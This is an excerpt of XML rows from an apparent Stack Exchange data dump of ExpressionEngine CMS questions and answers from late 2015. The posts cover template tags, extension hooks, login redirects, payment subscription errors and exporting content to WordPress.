  <row Id="34639" PostTypeId="2" ParentId="34635" CreationDate="2015-11-05T01:35:04.190" Score="1" Body="&lt;p&gt;As long as you have a valid license, there is no issue with duplication. Just use the license for your development environment, and push it to the production environment. If you already have production set up, just clone the repo to your development environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EllisLab is not made up of monsters; many people run EE applications with a duplicated development/production set up. They know that. If you start using the license for different production environments, then you are violating your license in a way that can get you in trouble. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Concerned? You just gave them a bunch of money. Shoot them an email if you are really worried about it. I have a few things in the wild with a repository setup between development and production. To really avoid any possible issues, host your development install &lt;strong&gt;inside&lt;/strong&gt; your production environment. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://www.example.com --&amp;gt; production install&#xA;&#xA;https://www.example.com/dev --&amp;gt; development install&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then just set up your &lt;code&gt;.gitignore&lt;/code&gt; file to ignore itself, and customize it for your dev and your production setup. It will take some time to setup right, but once it is right, you are golden.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-11-05T01:35:04.190" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34640" PostTypeId="2" ParentId="34637" CreationDate="2015-11-05T08:37:33.297" Score="1" Body="&lt;p&gt;You don't have to know the password of the user - EE is asking for your superadmin password, even though you are already logged in. This is just an additional security feature.&lt;/p&gt;&#xA;" OwnerUserId="114" LastActivityDate="2015-11-05T08:37:33.297" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34641" PostTypeId="2" ParentId="34626" CreationDate="2015-11-05T12:49:44.457" Score="0" Body="&lt;p&gt;I was nearly there...&#xA;'{segment_2}' was url_title but it needed to be entry_id&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form return=&quot;make-an-event/ENTRY_ID&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;input type=&quot;text&quot; name=&quot;cli_events:url_title[data][]&quot; value=&quot;{segment_2}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3592" LastActivityDate="2015-11-05T12:49:44.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34643" PostTypeId="1" AcceptedAnswerId="34648" CreationDate="2015-11-05T14:02:23.107" Score="0" ViewCount="70" Body="&lt;p&gt;I keep reading everywhere that the actual comment:entries tag and comment:form tag should be used on a single entry view template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/comment/#id38&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/comment/#id38&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone had experience in developing something like a facebook feed where multiple comment forms are to be made available along with the users comments for multiple entries?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As also suggested by Derek I've tried to do this…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the parent&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;posts&quot; status=&quot;open|featured&quot;}&#xA;            {embed=&quot;site/comment&quot; entry_id=&quot;{entry_id}&quot;}&#xA;{/exp:channel:entries}`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the embed being called&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed:entry_id} --THIS GETS PARSED AND I GET THE ID ON FRONTEND&#xA;{exp:comment:entries limit=&quot;20&quot; entry_id=&quot;{embed:entry_id}&quot;} --THIS ONE DOESN'T&#xA;    &amp;lt;h2 class=&quot;comment-user-name&quot;&amp;gt;{name}&amp;lt;/h2&amp;gt;&#xA;    {comment}&#xA;{/exp:comment:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I just can't get the entry_id from the parent. It seems to not populate the comments tag.&#xA;If I hardcode the value in the embed call (eg. &lt;code&gt;{embed=&quot;site/comment&quot; entry_id=&quot;3&quot;}&lt;/code&gt;) it works as expected. I suspect is a parsing order issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;adding a &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt; parameter to the &lt;code&gt;{exp:comment:entries}&lt;/code&gt; tag seems to to the trick, but the &lt;code&gt;{avatar_url&lt;/code&gt;} (i'd love to integrate commenter avatar) seems to point to the avatar of the entry author which is not what i want.&lt;/p&gt;&#xA;" OwnerUserId="1148" LastEditorUserId="1148" LastEditDate="2015-11-06T10:28:16.043" LastActivityDate="2015-11-06T14:04:46.653" Title="Multiple comment forms on single page/template" Tags="|ajax|comments|facebook|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34644" PostTypeId="1" CreationDate="2015-11-05T14:54:46.197" Score="0" ViewCount="89" Body="&lt;p&gt;I'm making an ExpressionEngine extension that is supposed to return to a certain URL &lt;strong&gt;after&lt;/strong&gt; the user logged in. I'm using this hook: member_member_login_single. This returns me to the right url, but it doesn't finish the whole login process. In other words: it's not logging my user in! How am I supposed to do this? There doesn't seem to be a hook like member_login_end.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; function activate_extension()&#xA;{&#xA;    $this-&amp;gt;settings = array(&#xA;        'prijs_per_kind'    =&amp;gt; 5,&#xA;        'sluitingsdatum'    =&amp;gt; '05-11-2016',&#xA;    );&#xA;&#xA;    $hooks = array(&#xA;            &quot;zoo_visitor_register_end&quot; =&amp;gt; &quot;redirectToPayment&quot;,&#xA;            &quot;member_member_login_single&quot; =&amp;gt; &quot;checkClosingDate&quot;&#xA;    );&#xA;&#xA;    foreach ($hooks as $hook =&amp;gt; $method) {&#xA;        $data = array(&#xA;                'class' =&amp;gt; __CLASS__,&#xA;                'method' =&amp;gt; $method,&#xA;                'hook' =&amp;gt; $hook,&#xA;                'settings' =&amp;gt; serialize($this-&amp;gt;settings),&#xA;                'priority' =&amp;gt; 10,&#xA;                'version' =&amp;gt; $this-&amp;gt;version,&#xA;                'enabled' =&amp;gt; 'y'&#xA;        );&#xA;    }&#xA;    ee()-&amp;gt;db-&amp;gt;insert('extensions', $data);&#xA;}&#xA;&#xA;function checkClosingDate()&#xA;{&#xA;&#xA;        ee()-&amp;gt;functions-&amp;gt;redirect('http://sportvandemaand.local/account/profiel/verlopen');&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6083" LastActivityDate="2015-11-05T19:46:10.613" Title="Do something after hook" Tags="|members|zoo-visitor|login|extension|hook|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34645" PostTypeId="1" CreationDate="2015-11-05T16:08:06.173" Score="0" ViewCount="55" Body="&lt;p&gt;No matter what I do I keep getting the following error when trying to subscribe to a plan:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CARD_CREATE: User authentication failed due to invalid authentication values.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm logged in as a user I have set up as &quot;Test&quot; account in the settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have regenerated a brand new Authorize.net transaction key with no affect. I know for sure my login id is correct as I'm using it on multiple other sites/systems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something I need to enable for Subscriptions to work!?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;*EDIT&lt;/strong&gt;: As it stands I've created a Sandbox Authorize.net account and all systems are a go with it. So I'm assuming I need to set something up in my actuall Authorize account. I did notice Subscriptios is using CIM and all my other systems use AIM. Is there something there I need to do?&lt;/p&gt;&#xA;" OwnerUserId="3317" LastEditorUserId="3317" LastEditDate="2015-11-05T16:34:20.100" LastActivityDate="2015-11-05T16:34:20.100" Title="DevDemon Subscriptions CARD_CREATE: User authentication failed" Tags="|devdemon|subscriptions|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34646" PostTypeId="2" ParentId="34644" CreationDate="2015-11-05T17:33:48.617" Score="1" Body="&lt;p&gt;Well, you are killing the process when you throw a redirect. The &lt;code&gt;redirect()&lt;/code&gt; function basically causes a &lt;code&gt;die()&lt;/code&gt; affect, ending code termination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You know you can declare a redirect in the template with the log-in form?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ee2docs.com/add-ons/member/index.html#login-form-tag&quot; rel=&quot;nofollow&quot;&gt;http://ee2docs.com/add-ons/member/index.html#login-form-tag&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You just add a &lt;code&gt;return=&quot;your_url&quot;&lt;/code&gt; parameter to the tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:member:login_form return=&quot;your_url&quot;}&#xA;&#xA;    Form stuff here, see reference&#xA;&#xA;{/exp:member:login_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-11-05T17:33:48.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34647" PostTypeId="2" ParentId="34625" CreationDate="2015-11-05T18:10:20.460" Score="0" Body="&lt;p&gt;In my config file I found that uri segments were being queried instead of allowing EE to automatically parse them.&lt;/p&gt;&#xA;" OwnerUserId="1173" LastActivityDate="2015-11-05T18:10:20.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34648" PostTypeId="2" ParentId="34643" CreationDate="2015-11-05T19:32:24.723" Score="1" Body="&lt;p&gt;Both the &lt;code&gt;comment:entries&lt;/code&gt; and &lt;code&gt;comment:form&lt;/code&gt; tags accept an &lt;code&gt;entry_id&lt;/code&gt; parameter, so there's no reason you can't have multiple forms on a page, so long as you pass the correct &lt;code&gt;entry_id&lt;/code&gt; to each.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also run into variable collisions, since you'll need to use them inside of a &lt;code&gt;channel:entries&lt;/code&gt; loop, so you may need to embed the comments/form and pass the &lt;code&gt;entry_id&lt;/code&gt; via an embed variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; You'll also need to add &lt;code&gt;dynamic=&quot;no&quot;&lt;/code&gt; to your &lt;code&gt;comment:entries&lt;/code&gt; tag.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-11-06T14:04:46.653" LastActivityDate="2015-11-06T14:04:46.653" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34649" PostTypeId="2" ParentId="34644" CreationDate="2015-11-05T19:46:10.613" Score="0" Body="&lt;p&gt;If for some reason you really &lt;em&gt;do&lt;/em&gt; need to set the redirect inside of your hook (perhaps, for example, you're performing some additional logic inside your method which you've excised for simplicity), try manually setting the value of &lt;code&gt;$_POST['RET']&lt;/code&gt; inside your method.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$_POST['RET'] = 'account/profiel/verlopen';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This value will get processed inside of &lt;code&gt;Functions::form_backtrack()&lt;/code&gt;, which is called by &lt;code&gt;Member_auth::_build_success_message()&lt;/code&gt;, which is the last step of &lt;code&gt;Member_auth:member_login()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-11-05T19:46:10.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34650" PostTypeId="2" ParentId="34632" CreationDate="2015-11-05T19:51:09.600" Score="2" Body="&lt;p&gt;Have a look at the &lt;code&gt;exp_store_discounts&lt;/code&gt; table in the database. You could write once query which inserts a new discount and run it on each database as required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only hitch would be if it were applied to specific categories or entry IDs, those may vary from site-to-site.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-11-05T19:51:09.600" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34651" PostTypeId="2" ParentId="34368" CreationDate="2015-11-05T20:18:10.347" Score="0" Body="&lt;p&gt;So the fix for now.... (Which has been fixed for Donovan) seems to be the following....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HISTORY:&#xA;$.browser property is deprecated in jQuery 1.3, and bootstrap requires jQuery 1.9.1+ (Or similar)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SOLUTION:&#xA;For some unknown reason this causes an issue when using Solspace Calendar with Twitter Bootstrap...(I assume there is a correlation in the Module and this depreciated plugin)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After loading jQuery.... add in the Script for the jQuery Migrate Plugin. (See following)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;https://ajax.googleapis.com/ajax/libs/jquery/1.11.2/jquery.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;   &#xA;&amp;lt;script src=&quot;http://code.jquery.com/jquery-migrate-1.2.1.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hopefully this will help! (Only put the answer for other's to see, in case someone else had this issue.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SOURCE FOR JQUERY MIGRATE: &lt;a href=&quot;https://github.com/jquery/jquery-migrate/&quot; rel=&quot;nofollow&quot;&gt;JQuery Migrate&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6819" LastActivityDate="2015-11-05T20:18:10.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34652" PostTypeId="2" ParentId="34583" CreationDate="2015-11-06T01:41:35.163" Score="0" Body="&lt;p&gt;The cause here was an .htaccess file that needed tweaking (usually this is a good start: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html&lt;/a&gt;), and the removal of an outer &lt;code&gt;&amp;lt;form&amp;gt;...&amp;lt;/form&amp;gt;&lt;/code&gt; HTML tag pair unrelated to Freeform (can't have a form within a form in HTML).&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-11-06T01:41:35.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34654" PostTypeId="2" ParentId="34575" CreationDate="2015-11-06T10:19:00.437" Score="0" Body="&lt;p&gt;This is not really an answer, but editing the original question would have been really messy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that the error is nothing to do with the cf_results Grid field.&#xA;I kept removing bits of code from the page until I didn't get the PHP error, and it was the cf_image field (which is an Assets fieldtype but is not in a grid) that was causing it. The key bit of code that needed to change was this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;{made}&quot; alt=&quot;{cf_images:caption}{if cf_images:author}, Source:{cf_images:author}{/if}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;{made}&quot; alt=&quot;{cf_images:caption}, Source:{cf_images:author}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The if condition was causing it, but exactly the same code is used on another template and works perfectly and without any error. It makes no sense to me.&lt;/p&gt;&#xA;" OwnerUserId="483" LastActivityDate="2015-11-06T10:19:00.437" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34656" PostTypeId="2" ParentId="34603" CreationDate="2015-11-06T11:21:15.910" Score="0" Body="&lt;p&gt;Managed to solve this with an embedded template.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2015-11-06T11:21:15.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34657" PostTypeId="2" ParentId="34508" CreationDate="2015-11-06T11:43:31.110" Score="3" Body="&lt;p&gt;Here's the cache directory:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;system/user/cache/*&lt;/p&gt;&#xA;" OwnerUserId="1309" LastEditorUserId="1468" LastEditDate="2015-11-09T15:17:48.473" LastActivityDate="2015-11-09T15:17:48.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34658" PostTypeId="1" CreationDate="2015-11-06T11:56:00.117" Score="0" ViewCount="444" Body="&lt;p&gt;In a custom module we are using the Table class with datasource to retrieve the results of some database entries, as per Expression Engine documentation. We have some filters in our module to filter the results. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works for the initial view, and when filtering that actually gets some results. but when there are no results we have a console error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Uncaught ReferenceError: name is not defined&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where name refers to the first column in our results. I am confiused because we don't even set the columns unless some $data exists. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I am not sure how to handle no_results when using a datasource filter. Can anyone help? Here is our MCP code for the data. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function index()&#xA;{   &#xA;    $this-&amp;gt;EE-&amp;gt;view-&amp;gt;cp_page_title =  lang('module_name');&#xA;&#xA;    // Get the submitted search&#xA;    $filters = array();&#xA;    $filters['search'] = $this-&amp;gt;EE-&amp;gt;input-&amp;gt;post('search');&#xA;    $filters['region'] = $this-&amp;gt;EE-&amp;gt;input-&amp;gt;post('region');&#xA;&#xA;    // Set the paramaters&#xA;    $custom_params = array(&#xA;        'filters' =&amp;gt; $filters,&#xA;        'num_rows' =&amp;gt; 20&#xA;    );&#xA;&#xA;    // Set some defaults for the data source&#xA;    $default_state = array(&#xA;        'sort' =&amp;gt; array('id' =&amp;gt; 'desc')&#xA;    );&#xA;&#xA;    // Get the data from the datasource&#xA;    $data = $this-&amp;gt;EE-&amp;gt;table-&amp;gt;datasource('_datasource', $default_state, $custom_params);&#xA;&#xA;&#xA;    // Create some URLs for the view&#xA;    $data['form_action'] = $this-&amp;gt;EE-&amp;gt;_form_base.AMP.'';&#xA;    $data['base_href'] = $this-&amp;gt;EE-&amp;gt;_base_url;&#xA;&#xA;    // Load view with data&#xA;    return $this-&amp;gt;EE-&amp;gt;load-&amp;gt;view('admin/index', $data, TRUE);&#xA;}&#xA;&#xA;&#xA;function _datasource($default_state, $custom_params)&#xA;{&#xA;    // Get All Data&#xA;    $data = $this-&amp;gt;EE-&amp;gt;data_model-&amp;gt;getAll($custom_params['filters']);&#xA;&#xA;    if($data)&#xA;    {&#xA;        // Set columns&#xA;        $columns = array(&#xA;            'name'  =&amp;gt; array('header' =&amp;gt; lang('name')),&#xA;            'email'  =&amp;gt; array('header' =&amp;gt; lang('email')),&#xA;            'telephone'  =&amp;gt; array('header' =&amp;gt; lang('telephone')),&#xA;        );&#xA;        $this-&amp;gt;EE-&amp;gt;table-&amp;gt;set_columns($columns);&#xA;&#xA;        $offset = $default_state['offset'];&#xA;        $this-&amp;gt;sort = $default_state['sort'];&#xA;&#xA;        usort($data, array($this, '_sort_rows'));&#xA;&#xA;        return array(&#xA;            'rows' =&amp;gt; array_slice($data, $offset, $custom_params['num_rows']),&#xA;            'no_results' =&amp;gt; '&amp;lt;p class=&quot;notice&quot;&amp;gt;'.lang('no_search_results').'&amp;lt;/p&amp;gt;',&#xA;            'pagination' =&amp;gt; array(&#xA;                'per_page'   =&amp;gt; $custom_params['num_rows'],&#xA;                'total_rows' =&amp;gt; count($data),&#xA;            ),&#xA;            'search' =&amp;gt; $custom_params['filters']['search']&#xA;        );&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Javascript used to initiate the filter is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( $(&quot;.searchIndicator&quot;).length &amp;gt; 0 )&#xA;{&#xA;    var indicator = $(&quot;.searchIndicator&quot;);&#xA;&#xA;    $(&quot;.mainTable&quot;)&#xA;    .table(&quot;add_filter&quot;, $(&quot;#filter&quot;))&#xA;    .bind(&quot;tableload&quot;, function() {&#xA;        indicator.css(&quot;visibility&quot;, &quot;&quot;);&#xA;    })&#xA;    .bind(&quot;tableupdate&quot;, function() {&#xA;        indicator.css(&quot;visibility&quot;, &quot;hidden&quot;);&#xA;    });&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="381" LastEditorUserId="381" LastEditDate="2015-11-07T12:36:42.557" LastActivityDate="2015-11-07T12:36:42.557" Title="Custom module datasource results - Uncaught ReferenceError: name is not defined" Tags="|module|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34659" PostTypeId="1" CreationDate="2015-11-06T14:01:06.513" Score="0" ViewCount="33" Body="&lt;p&gt;This is the site with 2 category names in the blog:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.hogarthlighting.co.uk/blog/article/melba-the-savoy-hotel-london&quot; rel=&quot;nofollow&quot;&gt;http://www.hogarthlighting.co.uk/blog/article/melba-the-savoy-hotel-london&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;News Picture Lights.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like it to show this when there are 2 or more category names&lt;/p&gt;&#xA;&#xA;&lt;p&gt;News / Picture Lights&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would I use 'if' statements? I have tried but had no success.&lt;/p&gt;&#xA;" OwnerUserId="6821" LastEditorUserId="6825" LastEditDate="2015-12-08T15:44:35.223" LastActivityDate="2015-12-08T15:44:35.223" Title="Would like to have a divider between category names where there are more than 1 to show. (and no divider when there is only 1 category name)" Tags="|ee2|categories|loop|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34660" PostTypeId="2" ParentId="34659" CreationDate="2015-11-06T14:07:14.810" Score="2" Body="&lt;p&gt;You can use some variables from the Channel Categories loop to execute this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ref:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ee2docs.com/add-ons/channel/categories.html#variables&quot; rel=&quot;nofollow&quot;&gt;http://ee2docs.com/add-ons/channel/categories.html#variables&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside of your Channel Categories loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{category_name} {if count != total_results}/{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This places a &lt;code&gt;/&lt;/code&gt; after each category name until you reach your last sequence of the loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; Oops, of course you have it in a &lt;code&gt;{exp:channel:entries}&lt;/code&gt; loop. Here is your answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ee2docs.com/add-ons/channel/channel_entries.html#id149&quot; rel=&quot;nofollow&quot;&gt;http://ee2docs.com/add-ons/channel/channel_entries.html#id149&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the backspace param to cut off the end of your last loop. Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{categories backspace=&quot;2&quot;}&#xA;&#xA;    &amp;lt;a href=&quot;{path='blog'}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt; /&#xA;&#xA;{/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will remove the last character of the last loop, the &lt;code&gt;/&lt;/code&gt;. You might need to adjust the backspace number depending on your formatting.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-12-08T13:29:03.630" LastActivityDate="2015-12-08T13:29:03.630" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34661" PostTypeId="1" AcceptedAnswerId="34666" CreationDate="2015-11-06T17:16:08.067" Score="0" ViewCount="71" Body="&lt;p&gt;I found a year old post regarding this issue as well (&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/26153/setting-entry-status-with-channel-form&quot;&gt;Setting entry status with Channel Form&lt;/a&gt;) but no apparent solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone come upon one yet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I can do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{status_menu}&#xA;    &amp;lt;select name=&quot;status&quot;&amp;gt;&#xA;        {select_options}&#xA;    &amp;lt;/select&amp;gt;&#xA;{/status_menu}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But no matter if I am logged in as a super admin, regular user or even a guest, the entry saves with the intended status. It's like the field is being ignored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clues?&lt;/p&gt;&#xA;" OwnerUserId="1525" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2015-11-08T18:49:52.507" Title="Channel Form refuses to set Status to entry" Tags="|safecracker|channel|status|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34662" PostTypeId="1" CreationDate="2015-11-06T18:36:11.457" Score="1" ViewCount="2883" Body="&lt;p&gt;I wants to export all data from my expression engine website (2.8.1.0) and import to Wordpress site. Can you please suggest any module?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="6822" LastActivityDate="2016-02-11T11:13:52.360" Title="Is there any module available for Export data?" Tags="|export|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34663" PostTypeId="2" ParentId="34627" CreationDate="2015-11-07T00:22:45.013" Score="0" Body="&lt;p&gt;This is not a supported feature that I'm aware of. The &lt;a href=&quot;https://www.cartthrob.com/docs/docs_gift-certificates/&quot; rel=&quot;nofollow&quot;&gt;documentation for the gift certificate addon is here&lt;/a&gt; and specifically mentions &lt;a href=&quot;https://www.cartthrob.com//docs/docs_gift-certificates/#redeeming-gift-certificates&quot; rel=&quot;nofollow&quot;&gt;using the dedicated form&lt;/a&gt;. I think it's best to use that method.&lt;/p&gt;&#xA;" OwnerUserId="376" LastActivityDate="2015-11-07T00:22:45.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34664" PostTypeId="2" ParentId="34662" CreationDate="2015-11-08T06:29:45.337" Score="0" Body="&lt;p&gt;You can try this one &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/export-it&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/export-it&lt;/a&gt;&#xA;&lt;a href=&quot;https://mithra62.com/projects/view/export-it&quot; rel=&quot;nofollow&quot;&gt;https://mithra62.com/projects/view/export-it&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't have a lot of data I would the make a template that output all enteries in json/xml . Perhaps edit it so the &quot;data-model&quot; looks the same as what wordpress expects. &lt;a href=&quot;http://codex.wordpress.org/Importing_Content#WordPress&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Importing_Content#WordPress&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;item&amp;gt;&#xA; &amp;lt;pubDate&amp;gt;Wed, 30 Jan 2009 12:00:00 +0000&amp;lt;/pubDate&amp;gt;&#xA; &amp;lt;category&amp;gt;Kites&amp;lt;/category&amp;gt;&#xA; &amp;lt;category&amp;gt;Taiwan&amp;lt;/category&amp;gt;&#xA; &amp;lt;title&amp;gt;Fun times&amp;lt;/title&amp;gt;&#xA; &amp;lt;content:encoded&amp;gt;&amp;lt;p&amp;gt;What great times we had...&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;And then Bob...&amp;lt;/p&amp;gt;&amp;lt;/content:encoded&amp;gt;&#xA;&amp;lt;/item&amp;gt;&#xA;&amp;lt;item&amp;gt;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="717" LastActivityDate="2015-11-08T06:29:45.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34666" PostTypeId="2" ParentId="34661" CreationDate="2015-11-08T18:49:52.507" Score="0" Body="&lt;p&gt;I found the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had set a specific status in Admin &gt; Channel Administration &gt; Channel Form, which it turns out, overrides anything in the template code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I returned this to &quot;-- Use Channel Default --&quot;, it became possible to set the entry status as expected.&lt;/p&gt;&#xA;" OwnerUserId="1525" LastActivityDate="2015-11-08T18:49:52.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
